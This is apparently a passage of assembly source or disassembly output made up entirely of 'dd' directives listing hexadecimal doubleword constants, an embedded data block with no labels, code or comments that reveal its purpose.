		dd 573B5233h, 49000DFBh, 0C178DADh, 0A82A47h, 0B3D8E43Eh
		dd 0EE8E7583h, 8D16F200h, 816D4E28h, 2487001Ah,	5BE01205h
		dd 6400DC06h, 68C78D4Fh, 36B599h, 331E07C1h, 5942776Bh
		dd 9210E200h, 0E8581715h, 0E43C1D57h, 2D564FF3h, 0A0C4A2E7h
		dd 980A4D85h, 0F8AB1D00h, 2E756E3Ah, 5CBE00E1h,	96ED2202h
		dd 243C47AAh, 0D7007C4Fh, 1A305759h, 0B7408Ch, 9C4D04A8h
		dd 27D8FE89h, 23B4D500h, 15E769C5h, 146E28Eh, 8F80267Bh
		dd 0C40A766Bh, 0C000FA4Ah, 6C85C47Ch, 811C03h, 8E59C5F4h
		dd 0CC6799B0h, 0DB55B500h, 0D01E0554h, 93C8002Dh, 0EEC0566Ch
		dd 0E9FC07D4h, 1282D300h, 197E2E54h, 0E0930035h, 0D8F18B2Dh
		dd 0A800A7FBh, 0CB8D12D4h, 2BC23AFh, 0D6685AFDh, 602BC0h
		dd 0D801D018h, 0CB114480h, 5034720Eh, 2A480795h, 0E0D08DD3h
		dd 6A94C8D1h, 7100807Bh, 0F7EA3607h, 8DC670h, 0E6AF3AC0h
		dd 256A0EE4h, 0FD538000h, 0F6F9D384h, 7509009Dh, 7FC8FE13h
		dd 0AA003E6Dh, 32834001h, 3B52B07Ah, 0C43BE56Bh, 34B6887h
		dd 771990C6h, 2100560Ch, 6FCBF069h, 7DEE12h, 0E70301B4h
		dd 189591EBh, 429B0F00h, 5986CA9h, 0C2B10190h, 0E2AF291Eh
		dd 5CD030E5h, 9541F100h, 543139FAh, 0BBBA03A4h,	7D178FCh
		dd 0F8AA5A89h, 82007D96h, 8D2D3C49h, 0EF9C65h, 7C1E3508h
		dd 0A159ED5Dh, 0F600727Bh, 0FCD8E03h, 2C61140h,	0BA805332h
		dd 18643ECCh, 9FB97D00h, 0A62527CFh, 630900C4h,	240A60CCh
		dd 0C48157Eh, 80303D34h
		dd 72072AA7h, 546FECh, 0A56B1011h, 0D34E41D5h, 75DA7A04h
		dd 59C00762h, 0DCF63BC1h, 8D9900DAh, 0B6B11164h, 4ABF8603h
		dd 0FBFDF366h, 0D365E33Dh, 0ED41980Fh, 0AB3B0910h, 0A898BDACh
		dd 75009985h, 0C391D863h, 4461682h, 0A6A2563Fh,	0C178C071h
		dd 0B700AAA9h, 188FBDE4h, 0FB44073h, 97516D2Ch,	9128FA83h
		dd 45041280h, 0AC85DE24h, 0C016DB01h, 18E0E71Dh, 0C627045Ah
		dd 83C9C5EFh, 35A86406h, 4A00795Bh, 135AACB3h, 0C7FAFFD5h
		dd 51768050h, 600C9BDFh, 703B6B4Ch, 514F92C8h, 82839802h
		dd 28A0A008h, 0F37759Ah, 981D2157h, 34978FC0h, 7B3AC264h
		dd 8770B838h, 0BDB28E35h, 8A3B0A90h, 0EE6800CDh, 0EC6C0C55h
		dd 0E3C300Dh, 545DAC92h, 7A87E440h, 9A930065h, 0BFC1BC0Bh
		dd 0A7042BCAh, 1C30030Fh, 0E10E9F80h, 901E0126h, 0EEF381F5h
		dd 0B8F4050h, 2B01FAAFh, 1202BC7Eh, 74C0F6DBh, 5FE20027h
		dd 284D9F6Ah, 0FD90834Ch, 1A016E7Fh, 17C00591h,	88C8A527h
		dd 2C3A3DC1h, 7DD8D0h, 7E7F1D9Fh, 9495FEECh, 0B240E300h
		dd 0E608A3CAh, 522A008Fh, 7ECA041h, 30916896h, 7F6F5000h
		dd 5AEF37h, 0D49CE36Eh,	0CB55FAF4h, 1FF59F00h, 0EE1AA2DAh
		dd 0DDB9005Bh, 51949E6h, 0B503BCD7h, 0E117DB2Ch, 396BC092h
		dd 3C5400CAh, 584A8773h, 0DE00D45Dh, 0D9F957C7h, 4D0340h
		dd 907CC5AAh, 19609238h, 0C0B4A101h, 8F6CBC45h,	7284E0h
		dd 14F7F05Ah, 0DC4203FFh, 0ED992A00h, 20A9859Eh, 8B5728FEh
		dd 6701E83h, 1B9B0060h,	6D9280AFh, 43000090h, 95275073h
		dd 1DCB4FD1h, 4713B54h,	0CC7B03B8h, 0A53AFF98h,	72420355h
		dd 8685E3B4h, 0D7860021h, 37DF0212h, 5201F46Ch,	0D2BFA191h
		dd 0DC2009B8h, 78D02487h, 0DC003C80h, 68334BDEh, 0FF014F0Bh
		dd 86E0B8FDh, 208699C5h, 39D7C094h, 58D66302h, 0C02D18B3h
		dd 183F6DC9h, 0B861A845h, 0D719A580h, 0AE388742h, 968BFCh
		dd 0DA833BEDh, 0BCAA199Eh, 7F49C300h, 5F169097h, 67E6011Ah
		dd 46825D6Ch, 668B9C5h,	0F4307E8Fh, 51F048h, 0B5EB94DDh
		dd 485B7176h, 36FEA718h, 2138269h, 0DF27DA8Ah, 64EBDE61h
		dd 0E3A8A6C0h, 22BA3Ch,	9A429406h, 3314BBh, 2E5D7731h
		dd 99D76DA1h, 0E6915F02h, 60E57AA6h, 7027B73Bh,	849A005Ah
		dd 9B5CEA6Dh, 0C8001BE0h, 0B3708AB1h, 8DA572h, 484A0476h
		dd 558E8C68h, 0E141B803h, 0A0AE8337h, 8147A0h, 7B654586h
		dd 2C5BC4A5h, 0A9C55F1Ch, 0B7C2680h, 1CDCE96Ch,	0BDF02567h
		dd 9C784D1Dh, 0FDA0C0AEh, 0DCAAECE8h, 6865EB07h, 0F65BC15Ah
		dd 99003F95h, 0E754D32h, 7D0010CAh, 51C5EAEEh, 547C3B9h
		dd 4D4ED32Eh, 0A0A00027h, 30779F66h, 1ACB8603h,	0A2DE35DCh
		dd 1E38496Fh, 0E4289FF8h, 0EA1D7BB6h, 54892870h, 0F84800A4h
		dd 3E050CD2h, 2D00FACBh, 0FEC01F79h, 8886Ch, 800AE075h
		dd 912BA1D3h, 130603Ch,	2067C361h, 0F9D48192h, 243E45Bh
		dd 2CCDA7D3h, 1848912Eh, 71068B24h, 4F5F69B0h, 4CA91F10h
		dd 0AA28809Bh, 1A5DD266h, 91D508CCh, 9E0116C9h,	199A0018h
		dd 0FFB0F2F6h, 0C503D49h, 284EBECDh, 462F006Fh,	0C2DFFB05h
		dd 650237CEh, 0FCAF26E7h, 7B1BC15Dh, 238024h, 0ED271620h
		dd 94C77803h, 1086E53Ah, 7B9A1Fh, 11411622h, 0B395042Eh
		dd 960C60F8h, 796FD457h, 869800FFh, 2FA82D81h, 0AF07F323h
		dd 1075E002h, 852296C4h, 6814A833h, 81CB1092h, 99FB84DEh
		dd 1348DA00h, 5A0323CFh, 54A37D17h, 972AA829h, 0EDA80021h
		dd 4FB490BFh, 6500DB61h, 9B0460E5h, 1F46FFB7h, 7706E0h
		dd 83963F4Dh, 5B00D85Eh, 45AAFCDEh, 3A78B0D1h, 430019D4h
		dd 7332DBE4h, 9271A281h, 8F0048E6h, 1AB9384Dh, 32AA38Dh
		dd 0CBB8E0FFh, 7688E81Dh, 0D507BB86h, 73C0BE9Ch, 96F15A70h
		dd 13900E9h, 77813F6Bh,	51C7D49h, 67005E7Fh, 8AB8506Fh
		dd 29A40F39h, 53CCE2h, 80B3EBEBh, 0A30F5BE7h, 0E08A9519h
		dd 6F23018Dh, 0E5790010h, 2037FD58h, 0CB008091h, 3B036EA7h
		dd 0CA823Dh, 0FE34BCC2h, 0FD94A428h, 0E2AC8B00h, 0BED1EC49h
		dd 25D7016Bh, 0EEBC4A71h, 0E9F0C42Bh, 7FDB5101h, 288D36A7h
		dd 1974F4h, 31039FD1h, 84AFD62Fh, 356753Eh, 0E027F8BBh
		dd 17A1E047h, 30DDBCh, 52AA242Bh, 0C00EADDBh, 6F71996Fh
		dd 3C0D005Fh, 36C1C4h, 0CDF033B7h, 5A6CA41Ch, 0DC049428h
		dd 833F8D00h, 5DC3D628h, 15BE00F7h, 0EDE5576h, 0EE71847Ch
		dd 0A5F28800h, 0A2629196h, 0F16F00E5h, 6AB27973h, 3E00DB36h
		dd 0ED11F745h, 0A94235h, 0C3E84A39h, 0E3BC6E21h, 38058924h
		dd 23288B00h, 0ED1024h,	587C74AFh, 866A1C36h, 81A70904h
		dd 2680686Bh, 5FAFF4h, 959A0784h, 99040DF2h, 6B6FBC05h
		dd 5DC03193h, 0BE842Dh,	0CCD6C6E1h, 86D54D09h, 8D006770h
		dd 6F74CE23h, 33B9963h,	0C86626F0h, 0A5C07853h,	8E00322Ch
		dd 14A4AC0Bh, 78B4E3CFh, 0CEA0009Dh, 0B35A2513h, 0BC61AB1Dh
		dd 822C0C10h, 0A33C2880h, 0D8A8D24Bh, 25D42800h, 6855E2BEh
		dd 3E180071h, 48090AC8h, 4F03ED76h, 34D12337h, 1D59A1E3h
		dd 0AEE88440h, 58CA005Eh, 0F8B4D6C0h, 3C00977Bh, 0D86C8C20h
		dd 0FFAE870h, 94EEAF60h, 4D315680h, 0E6018189h,	0A387EB7Bh
		dd 34E4E5F1h, 0CA963246h, 0B6C36391h, 487F9CA0h, 4BEA200h
		dd 85E64D72h, 0E80303A6h, 0DF111AF8h, 0CD7AB390h, 0B7CFFF00h
		dd 2F920495h, 0D1C93039h, 0B3D26E40h, 0ABDA7D0Fh, 0CABB81BDh
		dd 6880F0A0h, 65BE2636h, 75622E09h, 60AF1778h, 3BDC39h
		dd 0F21AB7EEh, 4F5EF0D8h, 0C302307h, 581C1575h,	267B00C7h
		dd 5F8107C4h, 2D0F51F0h, 60024A35h, 1B3605AEh, 261F7720h
		dd 1F51CFA7h, 7A807F78h, 0FF6E65ABh, 800DE9Ch, 3A104E44h
		dd 70F248Eh, 0BDEB91DBh, 3AD67A3Ch, 0CE9D4C0Ah,	7E9030D8h
		dd 7C0102ADh, 25842C60h, 0B9C3FAACh, 98BF13DBh,	0E9080C0Ah
		dd 78490A88h, 89AD9C84h, 180054FCh, 7090FA4Dh, 0B4FFD207h
		dd 8BA11F11h, 4081530Dh, 0EAD59B4Bh, 0FF4820F7h, 482CF354h
		dd 866CE844h, 79405078h, 715D2296h, 0F82E2530h,	0A0A8BF0Dh
		dd 4040C22Ch, 1542972Fh, 858D811h, 0BED24BD0h, 123E5D22h
		dd 2AF445F1h, 0DCE02C8h, 7275630Bh, 1E71EE00h, 0D9FF7B8Dh
		dd 0FD145998h, 70840106h, 1365F909h, 0BD21B4AEh, 0D8CF0F9h
		dd 0A345721h, 9A84CA6Ah, 0FC01402Fh, 80A7F17Dh,	43072EA9h
		dd 7ADBC9h, 0F7B1891Dh,	947F5EE9h, 0CEFEAC18h, 142707D8h
		dd 0C0577577h, 0B9DC9D01h, 809490F2h, 70BD268h,	28B53B2Fh
		dd 3990561Bh, 5F8012D5h, 0C2500281h, 0B8FAE96Eh, 8C7888E2h
		dd 0A9EBAD1Fh, 47B24BBh, 36662307h, 0F09965D3h,	606EAB56h
		dd 15A39892h, 0FD0DB173h, 0EE8CFAA8h, 12DA02CCh, 402F0976h
		dd 0B2933C7Ch, 1E008356h, 14F85931h, 481366BDh,	8E0FC4DAh
		dd 0EC601989h, 2B7509D0h, 0BB5F7C00h, 77A911A2h, 449772Fh
		dd 5C2C580Fh, 6458919Fh, 1594408Ah, 2F488720h, 5B2B0508h
		dd 8C0A65C7h, 7B818064h, 0A4D117D4h, 0DC4C13E9h, 0A6C278B2h
		dd 0A2492AA4h, 870D00BCh, 0D0541ABFh, 7200926Bh, 20BAAC01h
		dd 3B7C059h, 30E61B9Ch,	91A08998h, 877197F0h, 5C6E5D00h
		dd 8DA636Bh, 0E0FA09h, 7C480485h, 32861F8Dh, 6FA37B00h
		dd 0E2582074h, 5E990038h, 3FF45755h, 96006CF3h,	0C135BD9Eh
		dd 0ECD3B70h, 90F01771h
		dd 6CAB23A0h, 41005CE2h, 0CBE8AE2Fh, 0F264A080h, 58D60359h
		dd 8F7CF914h, 4D8330B0h, 0CE203Ch, 0CDF87AFCh, 0D581EBh
		dd 0C344A552h, 9FE56EBFh, 0FED89B09h, 3CC00025h, 0A3FC6Bh
		dd 0F72E15B6h, 88B45512h, 0CE38B10Eh, 83D809Fh,	0FC92053h
		dd 377847CAh, 94064B20h, 93783FF7h, 0EA95A000h,	0BF2EEC83h
		dd 41F1001Eh, 317CD1D6h, 20008710h, 0CC56CF69h,	0F8A354h
		dd 43DAFB38h, 72D47E27h, 62636C1Dh, 153B8600h, 78745CCh
		dd 0EB7DFBF3h, 54D640FFh, 4000DA65h, 6FB4C9BCh,	0B245DA8h
		dd 0E2FDD8DDh, 0D42D147Eh, 2BF90011h, 0D920369Ah, 0F1175C0Ch
		dd 20EE298Eh, 8F2210FFh, 0C6F31988h, 710550A5h,	0BA2880EAh
		dd 0E0B0DC28h, 3284444Bh, 6C62AE05h, 280E79A8h,	14AD6824h
		dd 0F67614A7h, 0D16D58F3h, 0B829CF30h, 63801280h, 0E4F74047h
		dd 0A1C14B44h, 2841CC64h, 2980401Fh, 6E0AD980h,	9244D5A8h
		dd 5181616Dh, 1F6539Bh,	298DBE68h, 0D4C885C9h, 29F63C71h
		dd 9A400803h, 0CF3B1690h, 3E426FA0h, 0E888008Dh, 62E29D66h
		dd 0A62CABEBh, 0ED0793AFh, 0DE60EC21h, 2544DBh,	79D2B16Eh
		dd 0CD1D304h, 900D390h,	40D4F645h, 57EBFEh, 0D3062B64h
		dd 0E90B20FAh, 66D9CF00h, 0B4DEA8E8h, 37FB1358h, 0AA3E0055h
		dd 0DC6FC4DDh, 13FC8000h, 1925DBB6h, 2C8A3C08h,	83B24A01h
		dd 0D8AB33C9h, 67040131h, 0FF08E6E7h, 0A7FDB7C0h, 629E1EA1h
		dd 0D98658DAh, 0B600F4DFh, 0DD8264B2h, 8FB970h,	369B4D0Dh
		dd 35E733D9h, 95BCEF1Fh, 0CD812A40h, 0F55CD1h, 33ADE15Eh
		dd 0D5C5E2ACh, 16F0BE00h, 0A26B1FDFh, 70E90E41h, 2E803FC4h
		dd 0E79E873Eh, 88986C00h, 28AFDE61h, 521900B0h,	3791DCC0h
		dd 3C0EC815h, 5DFC0431h, 0E045B600h, 0F4551730h, 9CDB00E1h
		dd 93F58F20h, 232C7722h, 2700C77Ah, 35F830F9h, 74FF0062h
		dd 4639F5C2h, 16012D71h, 0A28445EDh, 0B661A0CCh, 7CAD3CCh
		dd 68839ACBh, 2BEFE031h, 4F1D3B6Fh, 71850150h, 0C8071E89h
		dd 0BE10AC5Bh, 117A1F4h, 6B6FEA3Dh, 0E82CE997h,	0CD007E06h
		dd 36AD133h, 728392Dh, 8F70E8B9h, 848E31F7h, 665C80EEh
		dd 0D52EDC63h, 7A6BF067h, 6C203D12h, 0B0921400h, 0B67AFEA3h
		dd 5D92603h, 0B879B11Fh, 1CD0912Ah, 80BB1552h, 7DBEE4Fh
		dd 0FA17A7CEh, 3B00B26Eh, 0E9922E4Eh, 1F69B066h, 0C1A3B51Eh
		dd 38EF48E3h, 0E911F1C7h, 0D595D096h, 0A4AA6D00h, 235036Eh
		dd 94EC5859h, 4094981Fh, 0F71BADFFh, 0B10090BAh, 0CA27B91h
		dd 7020465h, 0CEA7AC9Fh, 7C9F1E26h, 0C29D5101h,	30C8CD55h
		dd 4A0E522Ch, 0C01AEA08h, 3683A919h, 486D142Eh,	8000CD50h
		dd 0B141D891h, 7B3F960Fh, 0EA22ACC5h, 8D131E00h, 926CEDh
		dd 99E38B05h, 0D1B6B278h, 81336212h, 8CD61400h,	70B827h
		dd 0A1B7B4F3h, 0C310F5ECh, 70613839h, 14A56D00h, 73391CE7h
		dd 884900F8h, 45C08726h, 72075B0Ah, 0E15A213Ch,	4F9425B0h
		dd 7B0C3B0Eh, 81A43E8Bh, 86CDAA00h, 0DF0349DCh,	45A6AFB0h
		dd 43282C69h, 0AE823893h, 0F3480601h, 8220CC8Eh, 0C24F6665h
		dd 889B4E07h, 3F70CD44h, 0F9A0EAh, 0C682B51Ah, 0BC21D3AFh
		dd 64CC8800h, 39EF5C41h, 0EE730E80h, 0BAA0B212h, 0C026DA03h
		dd 66417F00h, 42FD3C31h, 17930013h, 30BB0C2Dh, 5C90B92Fh
		dd 0C5095300h, 29250210h, 0B44F0F1Ah, 9340BF76h, 84DA1131h
		dd 0AE2E4C03h, 0B867240Dh, 269F85h, 8D80D8C8h, 54596E0Eh
		dd 9ECE1503h, 9032C686h, 0BBECDBh, 0A417C58Ch, 0F639DF83h
		dd 4B794FB0h, 7CB1FA00h, 14455662h, 8CB00043h, 0E7D630ECh
		dd 0AFFC0D24h, 52BB48h,	6FFAD22Dh, 0ADF7A0h, 0E4738736h
		dd 69B515FDh, 0DF3D0C00h, 0C7CD5D2Eh, 1F6036Fh,	74E3AB7Ch
		dd 0BA356BA0h, 0FA39CF00h, 923B03B4h, 0AA9F1C83h, 0EE2F43E2h
		dd 4DD007AEh, 0B90717FEh, 0CC0DB68Ch, 1ECB0101h, 0F07AFDC9h
		dd 42E83929h, 5248EAEEh, 71D40024h, 76B8E2A8h, 0D24A0F0Dh
		dd 11402250h, 460E2D14h, 0E7003879h, 4AD635F5h,	0F1B3E9h
		dd 617319A5h, 0FD01D0Eh, 0C2A8AF01h, 0B2DBE77Fh, 1EE5E0h
		dd 0A4E47597h, 417EAB93h, 27281902h, 0E0EBF886h, 0BC3E36h
		dd 72E25BD1h, 0D483998Ah, 5ECBA200h, 463DB43Bh,	0EC4F074Ch
		dd 8385A52Fh, 0EF906473h, 0B016B1Bh, 0D3FCE29Ch, 85F83CD0h
		dd 0F27F0A7h, 91835D47h, 0D64131EEh, 0C0593F80h, 0A807AC9Dh
		dd 0AD0C2175h, 9E7318B0h, 0A16D00E6h, 0DA648140h, 0E7F06F98h
		dd 35CA0B00h, 50B9051Bh, 0D5EC00EBh, 2C45622h, 2F00EEFCh
		dd 0C557D91h, 0BC0D29h,	0D69884CBh, 216A2675h, 80EF8F00h
		dd 28AC1AE0h, 4963166Fh, 0D51C00F3h, 65178FFh, 2C91D158h
		dd 0A71D3829h, 40259080h, 0C0F667h, 182A9969h, 468206D5h
		dd 64743C00h, 6BC6C1E9h, 0A53F001Eh, 0AAE0D9A7h, 5100B82Ch
		dd 13CF41C0h, 5C3BE2D3h, 0D21EDD8Bh, 76E4801Dh,	0CB28ED5Eh
		dd 90716200h, 5349C339h, 7620F0EFh, 0D36600CCh,	74D2DD8Dh
		dd 5200F869h, 266B7512h, 9035A006h, 8B0B030Fh, 178FE4A1h
		dd 0BAE1CB80h, 0F20EBB00h, 0FEEE1EE9h, 0A8AB1F1Ch, 25840041h
		dd 88999132h, 2644C0E1h, 57376103h, 0D3492Dh, 889F61Ah
		dd 9410A61Eh, 0DA274E2Ch, 9B7D0F00h, 4A1BB1h, 432983B9h
		dd 0E51A150Ch, 0A7047B02h, 400A4227h, 0F02297FCh, 180324A0h
		dd 5E88002Ch, 4A3B9146h, 0ED007098h, 143FE29h, 3B1DBEAh
		dd 34CC15AAh, 0A1A003EFh, 0AEFCFBA7h, 0C1747902h, 0C021B05Eh
		dd 0C32A22h, 81A3E1BCh,	7B0445F5h, 0AD5C2D01h, 64E83331h
		dd 1E6180E4h, 0C075A3DAh, 2C1BC913h, 0DD0743ABh, 0F33B8198h
		dd 0CB55B310h, 6BEB00A2h, 0A6F4908Dh, 812E9242h, 3B009460h
		dd 0EEB46163h, 3CBC7819h, 1E803487h, 2D1CD966h,	0F0998242h
		dd 0AA0B9000h, 3FD7D3h,	0C770DAAFh, 0B73D1C08h,	80E3503Bh
		dd 0D4726A43h, 2A43376h, 5B27F6A3h, 0FCC0618Eh,	830AFCD9h
		dd 0A65FBB58h, 459A000h, 558806h, 6E54E74Eh, 1829CB26h
		dd 336D2B00h, 7556D374h, 1CB6038Dh, 84A8A5C0h, 0C2E5DBB8h
		dd 0E807F273h, 0ECA66A9Fh, 9CD68830h, 1C400047h, 3F7269A0h
		dd 84070D81h, 590351DFh, 0B3C04360h, 21883C26h,	9A2D4C00h
		dd 926A4D0Ah, 0BD366D28h, 2836C03h, 80B40898h, 0C7859h
		dd 337C219Ch, 0FBB74AC0h, 88A7B600h, 0E9BD9ECh,	0AA110017h
		dd 0C4CCC146h, 0FB0080E6h, 0FCED622h, 0FA7EAD8h, 576F30F1h
		dd 0C26093AFh, 8868B769h, 9C1E2CB0h, 370047D8h,	398D066Ah
		dd 0F523000Ch, 0D760CC8Eh, 0D100F3C0h, 6D117FAAh, 0CED959h
		dd 98133293h, 2577D354h, 2C99A507h, 3C10A8D5h, 79F266B9h
		dd 3316019Ch, 0AE1D6EEAh, 0FE67F1F5h, 49E50FC0h, 0AF004F7Bh
		dd 0A1BD8640h, 1D2784BCh, 0E48998D7h, 0B7B5D068h, 198C7900h
		dd 0D14E1218h, 0DF4C00C3h, 0BCD50D33h, 0E17FB335h, 779B4700h
		dd 0CC0B43E4h, 1CCD004Dh, 29E36B04h, 0B400CA91h, 77D6FFD8h
		dd 0E6F14Eh, 23F0DEB8h,	0F7457BC7h, 0B2821E1Eh,	0A1FEE480h
		dd 1491920h, 0F4F83217h, 0EBD5BCE5h, 0E99EC3C8h, 73F3D400h
		dd 0B0618830h, 19BD4C4Fh, 0D708EA00h, 0C5498632h, 80B9403Ch
		dd 37701D79h, 47431Fh, 96F81839h, 0EE0654A4h, 599D0800h
		dd 0BA0BFEB5h, 230D01ACh, 0F68C6B6Ah, 36CED01Eh, 6D9F9D00h
		dd 1775E942h, 2D04009Bh, 8248EAE7h, 8800445Ah, 0C708FEF5h
		dd 74A0D2h, 96C30452h
		dd 16BD2B3Eh, 0A84EBC30h, 4C9AE9C5h, 7D00E823h,	9C2EED10h
		dd 0B2011E5Ch, 7B1F3D89h, 0F0700AD0h, 0B3B11CFCh, 3B738093h
		dd 5EF72DF0h, 6A5ADE00h, 915C59A1h, 0C3230121h,	0F9E7D153h
		dd 327070C8h, 30514200h, 40051698h, 9C23005Fh, 0F3D19AF0h
		dd 37026F2Dh, 0E0A74A53h, 118C60FBh, 847E0036h,	6EFA0413h
		dd 311DAF8Fh, 6C8B4C4Eh, 0B1400DBh, 0FEA37Eh, 7FE8AB10h
		dd 47756692h, 3300E3F8h, 69824DBCh, 175BA498h, 442F148h
		dd 0C38BC1B8h, 4C0043B4h, 0BA36F8C6h, 0BD1B92h,	0DE617C22h
		dd 810DDDD4h, 2980389Bh, 0C3C891A8h, 4126009Ch,	54A9EDA1h
		dd 3CC4F571h, 0AAC3B737h, 0F805C37Eh, 0A297A91h, 7C08D548h
		dd 7DF83BCh, 6BC8C33Bh,	0B4B0F539h, 5738306h, 16487071h
		dd 7FCD57h, 34C18107h, 12F680D0h, 0D7ED4402h, 0E0DECB54h
		dd 7A48B30h, 392885ABh,	6EE40B5h, 71E2CF18h, 6400F2E0h
		dd 505B4F23h, 320D8h, 0BA85BBE3h, 0AA28C4FEh, 0C761A500h
		dd 58BD959Ah, 0D63C005Fh, 8E9E32F7h, 0E7003F77h, 267129C2h
		dd 0D7AA63h, 27ABB62Bh,	4BA6FC1Ah, 1F11E905h, 0FAC2122Ah
		dd 3C18E078h, 0E2520048h, 0EBDE9A8Ch, 0BA015857h, 0FD207294h
		dd 0F740B668h, 6BB2E3h,	53A569C5h, 1AF95A83h, 0CC732003h
		dd 9892A696h, 0CB6A95h,	19351EDh, 41AE2C59h, 0F8211700h
		dd 48245843h, 2771038Eh, 0B11AA676h, 0F0E0DB82h, 21098F73h
		dd 8003DF24h, 9FE11340h, 0AFA200A8h, 0E390869Bh, 0E4488F6Ah
		dd 0DA6500DFh, 0A6A30CC2h, 0CA0A26ACh, 0A0090074h, 0CB37C0DCh
		dd 9E860300h, 43E2AA07h, 0F6101C3h, 6676B822h, 0CF5AC895h
		dd 1513E5ECh, 0A700403Eh, 433CC5Eh, 13EEB5h, 4C6FE154h
		dd 0B8D5A9Bh, 71D54700h, 1FB8AC2Dh, 0E40A30FDh,	85988E89h
		dd 9C54BE00h, 40499D91h, 0C67C04C4h, 814B4811h,	0ED015210h
		dd 0B4F082E9h, 7187FFD3h, 12C180C8h, 0BCDF4210h, 99E5FB00h
		dd 1A86215Fh, 2840001Eh, 0A352DFFh, 0FC07624Eh,	0E82C22A2h
		dd 90FA5500h, 75260027h, 0CFC6C273h, 0C83EB17Bh, 0B5CA8313h
		dd 971C62DAh, 0B8F09847h, 186DCB2h, 95F3CFC5h, 24A28FB3h
		dd 7D60C298h, 0E7477CA6h, 0D621C81h, 3C5DC9h, 8914BC34h
		dd 7A006DA0h, 93ABB827h, 11A475h, 3DE2F4EAh, 0FB86E445h
		dd 0CF2BD800h, 0F81314A0h, 0F5B60560h, 808C2884h, 0C802675Fh
		dd 4ADE6F00h, 7B9F0A40h, 396A0382h, 77E0A5D8h, 70C775B8h
		dd 815FC53Ch, 8395CD6Fh, 20204DACh, 9D2B2EBDh, 0ECB7005Ch
		dd 0D5646D07h, 0DE001FE0h, 7E1999D6h, 0ED780Ah,	8F808D21h
		dd 7124D982h, 54645Ch, 51B80668h, 9C3AEFB2h, 91AC001Ch
		dd 4C8F04A7h, 0A0005CB8h, 4BAF9097h, 70EDCFDh, 6A91E306h
		dd 0F80C71CAh, 1B582088h, 6000CDF2h, 0EC277846h, 72CFD37h
		dd 0B65651D0h, 85F34352h, 38E4B9A0h, 8C040F4Fh,	0DCC8EA66h
		dd 0DEAA0026h, 7125CD2Fh, 1A982E3Ch, 0C5544F03h, 0C0AC3260h
		dd 12F3FEFh, 0DD22A799h, 7FC11EEDh, 0C4F7F0h, 0A5414DE5h
		dd 0ADBD3F2Fh, 0B0F85750h, 0E4C2020h, 0C0FE7A76h, 0E25BD060h
		dd 1C129DD3h, 58C0434Fh, 0F24134h, 52A6D589h, 7B7E06DEh
		dd 0BE949A00h, 0D0820891h, 0A1590B32h, 1300DAE4h, 0E41F40Ch
		dd 0AE39B83Bh, 0B00729Ch, 0E62F1B32h, 126710Ah,	6990CA1Ah
		dd 3027A1DCh, 0F300F021h, 0FF51227Ch, 75DB39h, 589A6D1Ah
		dd 7D66B405h, 884B4300h, 486823F3h, 0A9AC0B2Bh,	0A9003798h
		dd 7256DE65h, 1580789Eh, 1B48E3F9h, 9DA600ACh, 2861AB33h
		dd 0C3003A32h, 0D02A098Eh, 572102h, 922CED9Bh, 0EB94E516h
		dd 0BD465Ch, 0C06DA30Ah, 140CA213h, 88EE2CF2h, 5D700601h
		dd 0FCE8F529h, 30006235h, 9C2C9F5Fh, 5C97BF07h,	6A09219Eh
		dd 60E1AE57h, 0A0400908h, 0B4D2FEh, 32956C8Ch, 0EA93904Ch
		dd 45C96800h, 2F881730h, 64080080h, 3A48A41h, 0E7B0BA05h
		dd 0A8A38200h, 242FEB9Bh, 1EC81D4Dh, 1EA435Eh, 56E0877Ch
		dd 1D0F11B2h, 0C09BFE58h, 0FAF0CDF1h, 62D000EFh, 0E3836114h
		dd 0AC013389h, 5B7DBC10h, 220644h, 2855009Dh, 0C2C9F462h
		dd 268BB900h, 0FCCFAE60h, 133118EAh, 150D6C65h,	3D9708D0h
		dd 77C18326h, 0E8FFC2DEh, 0CA22F1F9h, 7DCE786h,	0E12879E9h
		dd 6018D5D0h, 1C3A0187h, 1B0900ACh, 0B35BB72Ch,	0ADC2015Eh
		dd 0B57D3E50h, 4BDFE0CBh, 32889A16h, 190E1900h,	0E9808D1h
		dd 50CC8615h, 0ECA96340h, 5E0092FFh, 1FC642D2h,	3774F8Dh
		dd 1857A374h, 4CE8F2E3h, 69F22367h, 80815539h, 0FACB1F7Eh
		dd 0CCF810h, 5F9CAF26h,	6858F420h, 0B67B0707h, 0C15067BCh
		dd 398042h, 527F710h, 0E1FC4ABh, 93888A00h, 35AF4036h
		dd 987525D8h, 13B78080h, 6078ABCBh, 0ED500F00h,	48BE283Eh
		dd 92EA002Dh, 7BC46D64h, 1E009878h, 30202A2Ch, 71EFCAh
		dd 0CF45C82Eh, 115CA7C2h, 0AD26AA00h, 6378AEC3h, 0F5280073h
		dd 0CB2AD8F4h, 1400700Fh, 0CE4AF9Ch, 0E3E9C1h, 92A0BBCDh
		dd 176C06AAh, 0BA998400h, 0F9498507h, 0F1230063h, 0E9ACCB6Eh
		dd 7D07D080h, 3AAD9015h, 39D3D830h, 0F699050Fh,	80640159h
		dd 0BD1D4E25h, 28C31600h, 252E445Eh, 471B1E4Ah,	0AB75C0E8h
		dd 0DFCBC964h, 0B9DEE500h, 944B92FAh, 3A6BF670h, 3811C87h
		dd 169F6D81h, 0F566C056h, 2103DEB0h, 98FEF4A4h,	24F7900Dh
		dd 0EDB11415h, 47278C94h, 0E000EF6h, 0A102736Eh, 42E055h
		dd 0ABC76C62h, 0FDDA5D7Bh, 4B7A7904h, 0C0D844h,	0F4165Bh
		dd 2FB3A007h, 82A9A203h, 33DB8E1Fh, 0F8A81B00h,	0E8BD3EB6h
		dd 91D900CFh, 844BBFE9h, 0E2002259h, 39A7F108h,	36B30Eh
		dd 0D62012D2h, 0CE3C79D9h, 4DB8558h, 38342915h,	665E53C0h
		dd 19840148h, 5AE932DDh, 913AF06Ch, 0F0BE7200h,	889CAD9Fh
		dd 16540E84h, 0F38A856Ah, 0FC3F00CBh, 0C3B6765Fh, 3D9ABA00h
		dd 4B9E3B6Eh, 0C5B40381h, 0EE5F1D0Ch, 756C65E0h, 0B8F91200h
		dd 0DD3BD3F6h, 0BF4D037Bh, 8170AAC5h, 0FC914C90h, 2DDF8F00h
		dd 75B12E6Eh, 859F00A0h, 0FD74C009h, 0F000B7FBh, 617EFE64h
		dd 0AD6E4Dh, 8B81AEE3h,	5550C0B2h, 7452500h, 0FCCBEB7Ch
		dd 69FA00C1h, 791B6F61h, 86001ED7h, 925B1DC6h, 0BD10A1ADh
		dd 460054D8h, 2CB717CFh, 29937D2h, 0BA493D58h, 0E48070EEh
		dd 1AB9DA3Ch, 0E501BF00h, 98A06030h, 7A9007E7h,	60D196FDh
